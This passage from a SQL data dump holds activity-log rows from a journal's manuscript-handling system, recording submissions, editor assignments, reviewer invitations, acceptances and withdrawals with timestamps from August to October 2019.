11:35:59','Publisher has been Withdrawn  article',563,'Publisher',48),(10989,'2019-08-28 11:36:10','Publisher has been Withdrawn  article',1360,'Publisher',48),(11192,'2019-08-28 16:50:06','Publisher has been Accepted  article',1023,'Publisher',248),(11330,'2019-08-29 09:40:00','Publisher has been Assigned Editor',1673,'Publisher',220),(11422,'2019-08-29 11:10:33','Publisher has Invited Reviewer',1394,'Publisher',85),(11423,'2019-08-29 11:11:30','Publisher has Invited Reviewer',1674,'Publisher',84),(11482,'2019-08-29 13:57:33','Publisher has Invited Reviewer',1674,'Publisher',84),(11483,'2019-08-29 13:57:34','Publisher has Invited Reviewer',1674,'Publisher',84),(11484,'2019-08-29 13:57:34','Publisher has Invited Reviewer',1674,'Publisher',84),(11485,'2019-08-29 13:57:35','Publisher has Invited Reviewer',1674,'Publisher',84),(11486,'2019-08-29 13:57:36','Publisher has Invited Reviewer',1674,'Publisher',84),(11487,'2019-08-29 13:57:36','Publisher has Invited Reviewer',1674,'Publisher',84),(11488,'2019-08-29 13:57:37','Publisher has Invited Reviewer',1674,'Publisher',84),(11489,'2019-08-29 13:57:38','Publisher has Invited Reviewer',1674,'Publisher',84),(11490,'2019-08-29 13:58:00','Publisher has Invited Reviewer',1674,'Publisher',84),(11497,'2019-08-29 14:04:36','Publisher: Accept Notification has been sent to Author',1290,'Publisher',85),(11498,'2019-08-29 14:05:28','Publisher has Invited Reviewer',1290,'Publisher',84),(11499,'2019-08-29 14:05:29','Publisher has Invited Reviewer',1290,'Publisher',84),(11500,'2019-08-29 14:05:30','Publisher has Invited Reviewer',1290,'Publisher',84),(11501,'2019-08-29 14:05:31','Publisher has Invited Reviewer',1290,'Publisher',84),(11502,'2019-08-29 14:05:31','Publisher has Invited Reviewer',1290,'Publisher',84),(11503,'2019-08-29 14:05:32','Publisher has Invited Reviewer',1290,'Publisher',84),(11504,'2019-08-29 14:05:33','Publisher has Invited Reviewer',1290,'Publisher',84),(11505,'2019-08-29 14:05:33','Publisher has Invited Reviewer',1290,'Publisher',84),(11506,'2019-08-29 14:05:34','Publisher has Invited Reviewer',1290,'Publisher',84),(11507,'2019-08-29 14:05:34','Publisher has Invited Reviewer',1290,'Publisher',84),(11508,'2019-08-29 14:05:35','Publisher has Invited Reviewer',1290,'Publisher',84),(11581,'2019-08-29 15:59:10','Reviewer has been sent email to Publisher',1674,'Reviewer',6238),(11582,'2019-08-29 16:02:47','Manuscript Submitted by Author using Submission form',1863,'Author',2316),(11700,'2019-08-30 08:08:34','Manuscript has been Revised',631,'Author',740),(11861,'2019-08-30 13:13:54','Publisher has Invited Reviewer',917,'Publisher',85),(12226,'2019-09-02 00:53:59','Manuscript Submitted by Author using Submission form',1998,'Author',2526),(12489,'2019-09-03 13:08:47','Manuscript Submitted by Author using Submission form',2051,'Author',2613),(12731,'2019-09-03 20:43:18','Manuscript Submitted by Author using Submission form',2079,'Author',2641),(12900,'2019-09-04 22:54:48','Manuscript Submitted by Author using Submission form',2120,'Author',2710),(13083,'2019-09-05 15:14:16','Publisher has Invited Reviewer',1024,'Publisher',248),(13084,'2019-09-05 15:14:17','Publisher has Invited Reviewer',1024,'Publisher',248),(13085,'2019-09-05 15:14:18','Publisher has Invited Reviewer',1024,'Publisher',248),(13086,'2019-09-05 15:14:18','Publisher has Invited Reviewer',1024,'Publisher',248),(13087,'2019-09-05 15:14:19','Publisher has Invited Reviewer',1024,'Publisher',248),(13088,'2019-09-05 15:14:19','Publisher has Invited Reviewer',1024,'Publisher',248),(13089,'2019-09-05 15:14:20','Publisher has Invited Reviewer',1024,'Publisher',248),(13090,'2019-09-05 15:14:20','Publisher has Invited Reviewer',1024,'Publisher',248),(13096,'2019-09-05 15:16:59','Publisher has Invited Reviewer',1025,'Publisher',248),(13097,'2019-09-05 15:16:59','Publisher has Invited Reviewer',1025,'Publisher',248),(13098,'2019-09-05 15:17:00','Publisher has Invited Reviewer',1025,'Publisher',248),(13099,'2019-09-05 15:17:01','Publisher has Invited Reviewer',1025,'Publisher',248),(13100,'2019-09-05 15:17:01','Publisher has Invited Reviewer',1025,'Publisher',248),(13101,'2019-09-05 15:17:03','Publisher has Invited Reviewer',1025,'Publisher',248),(13102,'2019-09-05 15:17:04','Publisher has Invited Reviewer',1025,'Publisher',248),(13244,'2019-09-05 17:48:57','Publisher has been Assigned Editor',1998,'Publisher',376),(13245,'2019-09-05 17:49:32','Publisher has been Assigned Editor',2051,'Publisher',376),(13246,'2019-09-05 18:00:15','Publisher has Invited Reviewer',1998,'Publisher',376),(13247,'2019-09-05 18:00:16','Publisher has Invited Reviewer',1998,'Publisher',376),(13248,'2019-09-05 18:00:32','Publisher has Invited Reviewer',2051,'Publisher',376),(13249,'2019-09-05 18:00:47','Publisher has Invited Reviewer',1998,'Publisher',376),(13250,'2019-09-05 18:01:18','Publisher has Invited Reviewer',1998,'Publisher',376),(13251,'2019-09-05 18:01:39','Publisher has Invited Reviewer',2051,'Publisher',376),(13323,'2019-09-06 02:31:01','Reviewer has submitted comments',1998,'Reviewer',7022),(13498,'2019-09-06 11:40:48','Publisher has Invited Reviewer',2051,'Publisher',376),(13499,'2019-09-06 11:40:49','Publisher has Invited Reviewer',2051,'Publisher',376),(13500,'2019-09-06 11:40:50','Publisher has Invited Reviewer',2051,'Publisher',376),(13501,'2019-09-06 11:40:51','Publisher has Invited Reviewer',2051,'Publisher',376),(13502,'2019-09-06 11:40:53','Publisher has Invited Reviewer',2051,'Publisher',376),(13503,'2019-09-06 11:40:54','Publisher has Invited Reviewer',2051,'Publisher',376),(13504,'2019-09-06 11:40:55','Publisher has Invited Reviewer',2051,'Publisher',376),(13505,'2019-09-06 11:40:57','Publisher has Invited Reviewer',2051,'Publisher',376),(13662,'2019-09-06 14:40:43','Publisher has been Assigned Editor',1863,'Publisher',376),(13691,'2019-09-06 16:53:52','Publisher has been Assigned Editor',2079,'Publisher',376),(13695,'2019-09-06 17:06:34','Publisher has Invited Reviewer',2079,'Publisher',376),(13697,'2019-09-06 17:10:52','Publisher has Invited Reviewer',2079,'Publisher',376),(13698,'2019-09-06 17:10:53','Publisher has Invited Reviewer',2079,'Publisher',376),(13713,'2019-09-06 17:48:47','Publisher has Invited Reviewer',1863,'Publisher',376),(13714,'2019-09-06 17:48:49','Publisher has Invited Reviewer',1863,'Publisher',376),(13715,'2019-09-06 17:48:51','Publisher has Invited Reviewer',1863,'Publisher',376),(13716,'2019-09-06 17:48:52','Publisher has Invited Reviewer',1863,'Publisher',376),(13717,'2019-09-06 17:49:04','Publisher has Invited Reviewer',1863,'Publisher',376),(13718,'2019-09-06 17:49:05','Publisher has Invited Reviewer',1863,'Publisher',376),(13732,'2019-09-07 01:35:53','Reviewer has submitted comments',2079,'Reviewer',7022),(13834,'2019-09-07 11:29:21','Publisher has Invited Reviewer',1863,'Publisher',376),(13835,'2019-09-07 11:29:22','Publisher has Invited Reviewer',1863,'Publisher',376),(13844,'2019-09-07 11:56:47','Publisher has Invited Reviewer',2051,'Publisher',376),(13845,'2019-09-07 11:56:48','Publisher has Invited Reviewer',2051,'Publisher',376),(13846,'2019-09-07 11:56:49','Publisher has Invited Reviewer',2051,'Publisher',376),(13847,'2019-09-07 11:56:50','Publisher has Invited Reviewer',2051,'Publisher',376),(13848,'2019-09-07 11:56:52','Publisher has Invited Reviewer',2051,'Publisher',376),(13849,'2019-09-07 11:56:53','Publisher has Invited Reviewer',2051,'Publisher',376),(13894,'2019-09-07 15:36:06','Reviewer has submitted comments',2051,'Reviewer',7303),(13981,'2019-09-09 09:44:18','Publisher : Notified Editor',631,'Publisher',75),(14040,'2019-09-09 10:57:32','Publisher : Notified Editor',2079,'Publisher',376),(14046,'2019-09-09 11:04:26','Publisher : Notified Editor',2051,'Publisher',376),(14048,'2019-09-09 11:04:56','Publisher : Notified Editor',1998,'Publisher',376),(14052,'2019-09-09 11:20:45','Publisher : Notified Editor',2079,'Publisher',376),(14053,'2019-09-09 11:22:09','Editor has Accepted to review Manuscript',2079,'Editor',1011),(14054,'2019-09-09 11:23:09','Editor has been Revise (Notify Author) article',2079,'Editor',1011),(14055,'2019-09-09 11:26:08','Publisher : Notified Author',2079,'Publisher',376),(14056,'2019-09-09 11:33:37','Publisher : Notified Editor',1998,'Publisher',376),(14057,'2019-09-09 11:34:00','Editor has Accepted to review Manuscript',1998,'Editor',1011),(14058,'2019-09-09 11:34:21','Editor has been Revise (Notify Author) article',1998,'Editor',1011),(14059,'2019-09-09 11:35:42','Publisher : Notified Author',1998,'Publisher',376),(14060,'2019-09-09 11:39:54','Publisher : Notified Editor',2051,'Publisher',376),(14091,'2019-09-09 13:25:22','Manuscript Submitted by Publisher',2272,'Publisher',48),(14092,'2019-09-09 13:27:14','Manuscript Submitted by Publisher',2273,'Publisher',48),(14093,'2019-09-09 13:27:49','Publisher has been Assigned Editor',2272,'Publisher',48),(14094,'2019-09-09 13:27:59','Publisher has been Assigned Editor',2273,'Publisher',48),(14095,'2019-09-09 13:30:06','Manuscript Submitted by Publisher',2274,'Publisher',48),(14096,'2019-09-09 13:30:19','Publisher has been Assigned Editor',2274,'Publisher',48),(14098,'2019-09-09 13:32:22','Manuscript Submitted by Publisher',2275,'Publisher',48),(14100,'2019-09-09 13:32:36','Publisher has been Assigned Editor',2275,'Publisher',48),(14109,'2019-09-09 13:54:15','Manuscript Submitted by Publisher',2277,'Publisher',319),(14208,'2019-09-09 15:16:25','Publisher has been Assigned Editor',2277,'Publisher',319),(14220,'2019-09-09 15:24:35','Editor has Accepted to review Manuscript',2273,'Editor',193),(14401,'2019-09-10 09:35:02','Publisher has Invited Reviewer',2277,'Publisher',319),(14402,'2019-09-10 09:35:09','Publisher has Invited Reviewer',2277,'Publisher',319),(14403,'2019-09-10 09:35:17','Publisher has Invited Reviewer',2277,'Publisher',319),(14404,'2019-09-10 09:35:23','Publisher has Invited Reviewer',2277,'Publisher',319),(14405,'2019-09-10 09:35:30','Publisher has Invited Reviewer',2277,'Publisher',319),(14524,'2019-09-10 11:44:33','Reviewer has submitted comments',1998,'Reviewer',7021),(14533,'2019-09-10 11:50:39','Publisher has been Accepted Articles  article',747,'Publisher',75),(15379,'2019-09-12 01:35:13','Manuscript Submitted by Author using Submission form',2416,'Author',3134),(15658,'2019-09-12 15:45:04','Publisher has been Assigned Editor',2416,'Publisher',48),(15814,'2019-09-13 02:29:49','Manuscript Submitted by Author using Submission form',2463,'Author',3191),(15815,'2019-09-13 02:53:20','Manuscript Submitted by Author using Submission form',2464,'Author',3195),(16002,'2019-09-13 11:40:58','Manuscript Submitted by Publisher',2474,'Publisher',48),(16003,'2019-09-13 11:41:21','Publisher has been Assigned Editor',2474,'Publisher',48),(16118,'2019-09-13 15:21:10','Publisher has been Assigned Editor',2464,'Publisher',48),(16119,'2019-09-13 15:27:29','Reviewer has submitted comments',715,'Reviewer',884),(16120,'2019-09-13 15:28:17','Publisher : Notified Editor',715,'Publisher',48),(16121,'2019-09-13 15:29:52','Editor has Accepted to review Manuscript',715,'Editor',188),(16122,'2019-09-13 15:30:04','Editor has been Editor Decision Accepted article',715,'Editor',188),(16123,'2019-09-13 15:30:42','Publisher has been Accepted Articles  article',715,'Publisher',48),(16124,'2019-09-13 15:32:10','Reviewer has submitted comments',820,'Reviewer',882),(16125,'2019-09-13 15:32:34','Editor has Accepted to review Manuscript',820,'Editor',190),(16126,'2019-09-13 15:32:40','Editor has been Editor Decision Accepted article',820,'Editor',190),(16127,'2019-09-13 15:32:55','Publisher has been Accepted Articles  article',820,'Publisher',48),(16128,'2019-09-13 15:34:17','Reviewer has submitted comments',1246,'Reviewer',887),(16129,'2019-09-13 15:34:39','Editor has Accepted to review Manuscript',1246,'Editor',191),(16130,'2019-09-13 15:34:45','Editor has been Editor Decision Accepted article',1246,'Editor',191),(16131,'2019-09-13 15:35:03','Publisher has been Accepted Articles  article',1246,'Publisher',48),(16132,'2019-09-13 15:35:23','Publisher has been Withdrawn  article',430,'Publisher',48),(16133,'2019-09-13 15:38:00','Reviewer has submitted comments',1476,'Reviewer',2207),(16134,'2019-09-13 15:38:36','Editor has been Editor Decision Accepted article',1476,'Editor',195),(16135,'2019-09-13 15:39:36','Reviewer has submitted comments',1676,'Reviewer',2238),(16136,'2019-09-13 15:40:08','Editor has Accepted to review Manuscript',1676,'Editor',191),(16137,'2019-09-13 15:40:16','Editor has been Editor Decision Accepted article',1676,'Editor',191),(16139,'2019-09-13 15:40:53','Publisher has been Accepted Articles  article',1476,'Publisher',48),(16140,'2019-09-13 15:41:00','Publisher has been Accepted Articles  article',1676,'Publisher',48),(16428,'2019-09-14 10:33:13','Reviewer has updated comments',2277,'Reviewer',7418),(16546,'2019-09-15 14:18:07','Manuscript Submitted by Author using Submission form',2540,'Author',3276),(16727,'2019-09-17 15:07:55','Publisher has Invited Reviewer',2272,'Publisher',48),(16728,'2019-09-17 15:08:28','Publisher has Invited Reviewer',2273,'Publisher',48),(16729,'2019-09-17 15:08:30','Publisher has Invited Reviewer',2273,'Publisher',48),(16730,'2019-09-17 15:08:54','Publisher has Invited Reviewer',2277,'Publisher',319),(16731,'2019-09-17 15:08:58','Publisher has Invited Reviewer',2277,'Publisher',319),(16732,'2019-09-17 15:13:07','Reviewer has submitted comments',2272,'Reviewer',2238),(16733,'2019-09-17 15:13:31','Editor has Accepted to review Manuscript',2272,'Editor',195),(16734,'2019-09-17 15:13:38','Editor has been Editor Decision Accepted article',2272,'Editor',195),(16736,'2019-09-17 15:15:17','Reviewer has submitted comments',2273,'Reviewer',1406),(16737,'2019-09-17 15:15:43','Editor has been Editor Decision Accepted article',2273,'Editor',193),(16738,'2019-09-17 15:15:43','Editor has been Editor Decision Accepted article',2273,'Editor',193),(16739,'2019-09-17 15:17:13','Publisher has been Accepted Articles  article',2273,'Publisher',48),(16740,'2019-09-17 15:17:21','Publisher has been Accepted Articles  article',2272,'Publisher',48),(16755,'2019-09-18 10:29:08','Publisher has been Assigned Editor',2463,'Publisher',274),(16756,'2019-09-18 10:53:01','Publisher has Invited Reviewer',2463,'Publisher',274),(16757,'2019-09-18 11:40:21','Manuscript Submitted by Publisher',2577,'Publisher',319),(16758,'2019-09-18 11:41:41','Publisher has been Assigned Editor',2577,'Publisher',319),(16763,'2019-09-18 13:53:14','Publisher has been Assigned Editor',2120,'Publisher',645),(16764,'2019-09-18 13:53:56','Publisher has Invited Reviewer',1673,'Publisher',645),(16765,'2019-09-18 13:54:04','Publisher has Invited Reviewer',1673,'Publisher',645),(16766,'2019-09-18 13:54:07','Publisher has Invited Reviewer',1673,'Publisher',645),(16767,'2019-09-18 13:54:14','Publisher has Invited Reviewer',1673,'Publisher',645),(16768,'2019-09-18 13:54:20','Publisher has Invited Reviewer',1673,'Publisher',645),(16769,'2019-09-18 13:54:26','Publisher has Invited Reviewer',1673,'Publisher',645),(16770,'2019-09-18 13:55:12','Publisher has Invited Reviewer',2120,'Publisher',645),(16771,'2019-09-18 13:55:18','Publisher has Invited Reviewer',2120,'Publisher',645),(16772,'2019-09-18 13:55:24','Publisher has Invited Reviewer',2120,'Publisher',645),(16773,'2019-09-18 13:55:25','Publisher has Invited Reviewer',2120,'Publisher',645),(16774,'2019-09-18 13:55:30','Publisher has Invited Reviewer',2120,'Publisher',645),(16775,'2019-09-18 14:58:50','Publisher has been Withdrawn  article',1025,'Publisher',248),(16776,'2019-09-18 15:03:39','Publisher has Invited Reviewer',1024,'Publisher',248),(16777,'2019-09-18 15:03:46','Publisher has Invited Reviewer',1024,'Publisher',248),(16778,'2019-09-18 15:03:54','Publisher has Invited Reviewer',1024,'Publisher',248),(16779,'2019-09-18 15:04:00','Publisher has Invited Reviewer',1024,'Publisher',248),(16780,'2019-09-18 15:04:07','Publisher has Invited Reviewer',1024,'Publisher',248),(16781,'2019-09-18 15:04:12','Publisher has Invited Reviewer',1024,'Publisher',248),(16782,'2019-09-18 15:04:15','Publisher has Invited Reviewer',1024,'Publisher',248),(16783,'2019-09-18 15:04:22','Publisher has Invited Reviewer',1024,'Publisher',248),(16784,'2019-09-18 15:04:25','Publisher has Invited Reviewer',1024,'Publisher',248),(16803,'2019-09-19 09:28:28','Publisher has Invited Reviewer',2577,'Publisher',319),(16804,'2019-09-19 09:28:28','Publisher has Invited Reviewer',2577,'Publisher',319),(16805,'2019-09-19 09:28:34','Publisher has Invited Reviewer',2577,'Publisher',319),(16806,'2019-09-19 09:28:41','Publisher has Invited Reviewer',2577,'Publisher',319),(16807,'2019-09-19 09:28:42','Publisher has Invited Reviewer',2577,'Publisher',319),(16821,'2019-09-19 09:59:13','Publisher has been Assigned Editor',2540,'Publisher',645),(16837,'2019-09-19 10:24:36','Editor has Accepted to review Manuscript',453,'Editor',203),(16838,'2019-09-19 10:24:56','Editor has been Editor Decision Accepted article',453,'Editor',203),(16839,'2019-09-19 10:26:27','Publisher: Accept Notification has been sent to Author',453,'Publisher',85),(16840,'2019-09-19 10:26:44','Publisher has been Accepted Articles  article',453,'Publisher',85),(16841,'2019-09-19 10:28:03','Publisher : Notified Editor',917,'Publisher',85),(16843,'2019-09-19 10:38:20','Editor has Accepted to review Manuscript',917,'Editor',204),(16844,'2019-09-19 10:38:42','Editor has been Revise (Notify Author) article',917,'Editor',204),(16845,'2019-09-19 10:41:26','Publisher : Notified Author',917,'Publisher',85),(16850,'2019-09-19 13:40:45','Manuscript Submitted by Publisher',2581,'Publisher',48),(16851,'2019-09-19 13:42:47','Manuscript Submitted by Publisher',2582,'Publisher',48),(16852,'2019-09-19 13:42:59','Publisher has been Assigned Editor',2581,'Publisher',48),(16853,'2019-09-19 13:43:13','Publisher has been Assigned Editor',2582,'Publisher',48),(16855,'2019-09-19 16:59:38','Author sent Email',917,'Author',1081),(16867,'2019-09-19 17:35:54','Manuscript Submitted by Publisher',2584,'Publisher',274),(16869,'2019-09-19 19:28:15','Manuscript Submitted by Author using Submission form',2586,'Author',3326),(16872,'2019-09-20 00:06:39','Manuscript has been Revised',917,'Author',1081),(16876,'2019-09-20 09:25:56','Publisher has been Accepted Articles  article',629,'Publisher',75),(16896,'2019-09-20 13:03:10','Reviewer has updated comments',1673,'Reviewer',4473),(16897,'2019-09-20 13:05:41','Reviewer has updated comments',1673,'Reviewer',4473),(16898,'2019-09-20 13:07:20','Reviewer has been sent email to Publisher',1673,'Reviewer',4473),(16899,'2019-09-20 15:26:29','Publisher : Notified Editor',1998,'Publisher',376),(16900,'2019-09-20 15:32:06','Editor has been Editor Decision Accepted article',1998,'Editor',1011),(16901,'2019-09-20 15:33:04','Publisher: Accept Notification has been sent to Author',1998,'Publisher',376),(16936,'2019-09-20 18:24:20','Manuscript Submitted by Author',2591,'Author',3331),(16941,'2019-09-21 09:36:01','Manuscript Submitted by Author using Submission form',2594,'Author',3337),(16976,'2019-09-23 09:58:59','Publisher : Notified Editor',917,'Publisher',85),(16977,'2019-09-23 09:59:50','Editor has been Editor Decision Accepted article',917,'Editor',204),(17003,'2019-09-23 15:40:17','Manuscript Submitted by Author using Submission form',2602,'Author',3345),(17004,'2019-09-23 15:46:47','Publisher has been Assigned Editor',2602,'Publisher',376),(17005,'2019-09-23 15:47:06','Publisher has been Assigned Editor',2591,'Publisher',376),(17006,'2019-09-23 15:49:25','Publisher : Notified Editor',1673,'Publisher',645),(17021,'2019-09-23 17:06:40','Publisher has Invited Reviewer',1863,'Publisher',376),(17022,'2019-09-23 17:28:40','Editor has Accepted to review Manuscript',1673,'Editor',634),(17023,'2019-09-23 17:28:50','Editor has been Revise (Notify Author) article',1673,'Editor',634),(17024,'2019-09-23 17:30:06','Publisher : Notified Author',1673,'Publisher',645),(17051,'2019-09-24 02:10:14','Reviewer has submitted comments',2277,'Reviewer',7415),(17052,'2019-09-24 07:21:52','Manuscript Submitted by Author using Submission form',2605,'Author',3351),(17053,'2019-09-24 09:11:44','Editor has Accepted to review Manuscript',2277,'Editor',1067),(17054,'2019-09-24 09:12:46','Editor has been Revise (Notify Author) article',2277,'Editor',1067),(17055,'2019-09-24 09:14:40','Publisher : Notified Author',2277,'Publisher',319),(17056,'2019-09-24 09:30:25','Publisher: Accept Notification has been sent to Author',917,'Publisher',85),(17083,'2019-09-24 10:34:43','Publisher has Invited Reviewer',2540,'Publisher',645),(17084,'2019-09-24 10:34:44','Publisher has Invited Reviewer',2540,'Publisher',645),(17085,'2019-09-24 11:18:53','Publisher has Invited Reviewer',1497,'Publisher',75),(17086,'2019-09-24 11:19:30','Publisher has Invited Reviewer',1457,'Publisher',75),(17087,'2019-09-24 11:19:31','Publisher has Invited Reviewer',1457,'Publisher',75),(17088,'2019-09-24 11:19:32','Publisher has Invited Reviewer',1457,'Publisher',75),(17089,'2019-09-24 11:19:57','Publisher has Invited Reviewer',1011,'Publisher',75),(17090,'2019-09-24 11:19:58','Publisher has Invited Reviewer',1011,'Publisher',75),(17091,'2019-09-24 11:19:59','Publisher has Invited Reviewer',1011,'Publisher',75),(17092,'2019-09-24 11:20:22','Publisher has Invited Reviewer',630,'Publisher',75),(17093,'2019-09-24 11:20:23','Publisher has Invited Reviewer',630,'Publisher',75),(17094,'2019-09-24 11:20:49','Publisher has Invited Reviewer',1497,'Publisher',75),(17095,'2019-09-24 11:20:50','Publisher has Invited Reviewer',1497,'Publisher',75),(17096,'2019-09-24 11:20:51','Publisher has Invited Reviewer',1497,'Publisher',75),(17108,'2019-09-24 13:20:43','Manuscript has been Revised',1673,'Author',2076),(17110,'2019-09-24 14:01:50','Manuscript Submitted by Publisher',2606,'Publisher',48),(17111,'2019-09-24 14:02:27','Publisher has been Assigned Editor',2594,'Publisher',48),(17112,'2019-09-24 14:02:34','Publisher has been Assigned Editor',2605,'Publisher',48),(17113,'2019-09-24 14:02:41','Publisher has been Assigned Editor',2606,'Publisher',48),(17116,'2019-09-24 14:07:43','Publisher has been Accepted Articles  article',631,'Publisher',75),(17149,'2019-09-24 23:37:17','Author sent Email',1998,'Author',2526),(17150,'2019-09-25 01:23:53','Editor has Accepted to review Manuscript',2605,'Editor',193),(17151,'2019-09-25 01:25:05','Editor has Invited Reviewer',2605,'Editor',193),(17152,'2019-09-25 01:25:31','Editor has Invited Reviewer',2605,'Editor',193),(17158,'2019-09-25 10:07:21','Publisher has Invited Reviewer',1452,'Publisher',645),(17159,'2019-09-25 10:09:17','Reviewer has submitted comments',1452,'Reviewer',8796),(17160,'2019-09-25 10:09:53','Reviewer has submitted comments',1452,'Reviewer',8796),(17161,'2019-09-25 10:10:59','Publisher : Notified Editor',1452,'Publisher',645),(17162,'2019-09-25 10:12:07','Editor has been Editor Decision Accepted article',1452,'Editor',633),(17163,'2019-09-25 10:12:40','Publisher has been Accepted Articles  article',1452,'Publisher',645),(17164,'2019-09-25 10:13:46','Publisher has Invited Reviewer',2540,'Publisher',645),(17165,'2019-09-25 10:14:18','Publisher has Invited Reviewer',2120,'Publisher',645),(17183,'2019-09-25 14:13:00','Reviewer has submitted comments',2540,'Reviewer',8796),(17185,'2019-09-25 15:45:16','Manuscript Submitted by Author using Submission form',2611,'Author',3362),(17193,'2019-09-26 02:39:38','Reviewer has submitted comments',2577,'Reviewer',7415),(17194,'2019-09-26 02:40:29','Reviewer has updated comments',2577,'Reviewer',7415),(17195,'2019-09-26 02:40:42','Reviewer has updated comments',2577,'Reviewer',7415),(17196,'2019-09-26 02:41:34','Reviewer has updated comments',2577,'Reviewer',7415),(17197,'2019-09-26 02:54:21','Manuscript Submitted by Author',2617,'Author',3369),(17203,'2019-09-26 10:05:00','Publisher has been Assigned Editor',2617,'Publisher',274),(17224,'2019-09-26 15:48:08','Manuscript Submitted by Author using Submission form',2620,'Author',3375),(17243,'2019-09-26 17:57:25','Manuscript Submitted by Author using Submission form',2622,'Author',3378),(17244,'2019-09-27 00:13:29','Manuscript Submitted by Author using Submission form',2623,'Author',3379),(17259,'2019-09-27 16:49:45','Manuscript Submitted by Author using Submission form',2633,'Author',3389),(17286,'2019-09-27 21:14:49','Manuscript Submitted by Author using Submission form',2635,'Author',3393),(17288,'2019-09-27 23:24:16','Reviewer has submitted comments',1863,'Reviewer',7022),(17289,'2019-09-27 23:24:33','Reviewer has submitted comments',1863,'Reviewer',7022),(17296,'2019-09-28 12:30:53','Publisher has been Assigned Editor',2635,'Publisher',75),(17355,'2019-09-30 15:46:38','Manuscript Submitted by Publisher',2645,'Publisher',85),(17356,'2019-09-30 15:51:51','Publisher has been Assigned Editor',2645,'Publisher',85),(17357,'2019-09-30 15:52:29','Publisher has Invited Reviewer',2645,'Publisher',85),(17358,'2019-09-30 15:52:30','Publisher has Invited Reviewer',2645,'Publisher',85),(17361,'2019-09-30 16:38:20','Publisher has Invited Reviewer',2635,'Publisher',75),(17362,'2019-09-30 16:38:21','Publisher has Invited Reviewer',2635,'Publisher',75),(17363,'2019-09-30 16:38:41','Publisher has Invited Reviewer',2635,'Publisher',75),(17364,'2019-09-30 16:39:09','Publisher has Invited Reviewer',2635,'Publisher',75),(17365,'2019-09-30 16:39:10','Publisher has Invited Reviewer',2635,'Publisher',75),(17370,'2019-09-30 17:20:15','Publisher : Notified Editor',2540,'Publisher',645),(17391,'2019-09-30 19:51:37','Manuscript Submitted by Author using Submission form',2649,'Author',3413),(17393,'2019-09-30 21:00:13','Reviewer has been sent email to Publisher',2635,'Reviewer',8785),(17394,'2019-09-30 21:12:53','Manuscript Submitted by Author using Submission form',2651,'Author',3416),(17401,'2019-10-01 09:50:58','Publisher : Notified Editor',1673,'Publisher',645),(17404,'2019-10-01 10:01:56','Publisher has Invited Reviewer',557,'Publisher',84),(17414,'2019-10-01 10:36:33','Editor has been Editor Decision Accepted article',1673,'Editor',634),(17415,'2019-10-01 10:36:41','Editor has Accepted to review Manuscript',2540,'Editor',634),(17416,'2019-10-01 10:36:50','Editor has been Editor Decision Accepted article',2540,'Editor',634),(17417,'2019-10-01 10:37:19','Publisher has been Accepted Articles  article',1673,'Publisher',645),(17418,'2019-10-01 10:37:26','Publisher has been Accepted Articles  article',2540,'Publisher',645),(17443,'2019-10-03 01:04:57','Manuscript Submitted by Author using Submission form',2661,'Author',3428),(17463,'2019-10-03 10:11:15','Publisher has Invited Reviewer',2645,'Publisher',85),(17464,'2019-10-03 10:11:16','Publisher has Invited Reviewer',2645,'Publisher',85),(17465,'2019-10-03 10:11:17','Publisher has Invited Reviewer',2645,'Publisher',85),(17466,'2019-10-03 10:11:18','Publisher has Invited Reviewer',2645,'Publisher',85),(17467,'2019-10-03 10:11:19','Publisher has Invited Reviewer',2645,'Publisher',85),(17468,'2019-10-03 10:11:20','Publisher has Invited Reviewer',2645,'Publisher',85),(17469,'2019-10-03 10:11:21','Publisher has Invited Reviewer',2645,'Publisher',85),(17470,'2019-10-03 10:11:21','Publisher has Invited Reviewer',2645,'Publisher',85),(17497,'2019-10-03 13:20:11','Publisher has been Assigned Editor',2651,'Publisher',48),(17498,'2019-10-03 13:23:55','Publisher has Invited Reviewer',2274,'Publisher',48),(17500,'2019-10-03 13:26:33','Reviewer has submitted comments',2274,'Reviewer',8924),(17501,'2019-10-03 13:28:04','Publisher has Invited Reviewer',2582,'Publisher',48),(17502,'2019-10-03 13:30:13','Reviewer has submitted comments',2582,'Reviewer',8925),(17503,'2019-10-03 13:30:58','Publisher has Invited Reviewer',2606,'Publisher',48),(17504,'2019-10-03 13:32:40','Reviewer has submitted comments',2606,'Reviewer',8926),(17505,'2019-10-03 13:33:19','Editor has Accepted to review Manuscript',2274,'Editor',191),(17506,'2019-10-03 13:33:27','Editor has been Editor Decision Accepted article',2274,'Editor',191),(17507,'2019-10-03 13:33:38','Editor has Accepted to review Manuscript',2606,'Editor',191),(17508,'2019-10-03 13:33:45','Editor has been Editor Decision Accepted article',2606,'Editor',191),(17509,'2019-10-03 13:34:34','Editor has Accepted to review Manuscript',2582,'Editor',189),(17510,'2019-10-03 13:34:40','Editor has been Editor Decision Accepted article',2582,'Editor',189),(17511,'2019-10-03 13:35:09','Publisher has been Accepted Articles  article',2606,'Publisher',48),(17512,'2019-10-03 13:35:26','Publisher has been Accepted Articles  article',2582,'Publisher',48),(17513,'2019-10-03 13:35:43','Publisher has been Accepted Articles  article',2274,'Publisher',48),(17517,'2019-10-03 15:43:49','Publisher has Invited Reviewer',1011,'Publisher',75),(17518,'2019-10-03 15:43:50','Publisher has Invited Reviewer',1011,'Publisher',75),(17519,'2019-10-03 15:43:51','Publisher has Invited Reviewer',1011,'Publisher',75),(17520,'2019-10-03 15:43:52','Publisher has Invited Reviewer',1011,'Publisher',75),(17524,'2019-10-03 16:49:17','Publisher has been Assigned Editor',2661,'Publisher',248),(17530,'2019-10-03 22:29:47','Manuscript Submitted by Author using Submission form',2667,'Author',3437),(17535,'2019-10-04 12:28:35','Manuscript Submitted by Author using Submission form',2669,'Author',3441),(17536,'2019-10-04 12:29:51','Publisher has been Assigned Editor',2669,'Publisher',645),(17537,'2019-10-04 13:37:58','Publisher has Invited Reviewer',2645,'Publisher',85),(17538,'2019-10-04 13:37:59','Publisher has Invited Reviewer',2645,'Publisher',85),(17539,'2019-10-04 13:38:00','Publisher has Invited Reviewer',2645,'Publisher',85),(17542,'2019-10-04 20:26:50','Manuscript Submitted by Author',2673,'Author',3436),(17563,'2019-10-05 10:34:01','Manuscript Submitted by Publisher',2674,'Publisher',84),(17564,'2019-10-05 10:34:59','Publisher has been Assigned Editor',2674,'Publisher',84),(17602,'2019-10-06 15:41:40','Manuscript Submitted by Author using Submission form',2681,'Author',3456),(17617,'2019-10-07 11:02:37','Manuscript Submitted by Publisher',2686,'Publisher',248),(17618,'2019-10-07 11:02:51','Publisher has been Assigned Editor',2686,'Publisher',248),(17620,'2019-10-07 13:08:14','Publisher has been Withdrawn  article',1011,'Publisher',75),(17621,'2019-10-07 13:21:50','Publisher has Invited 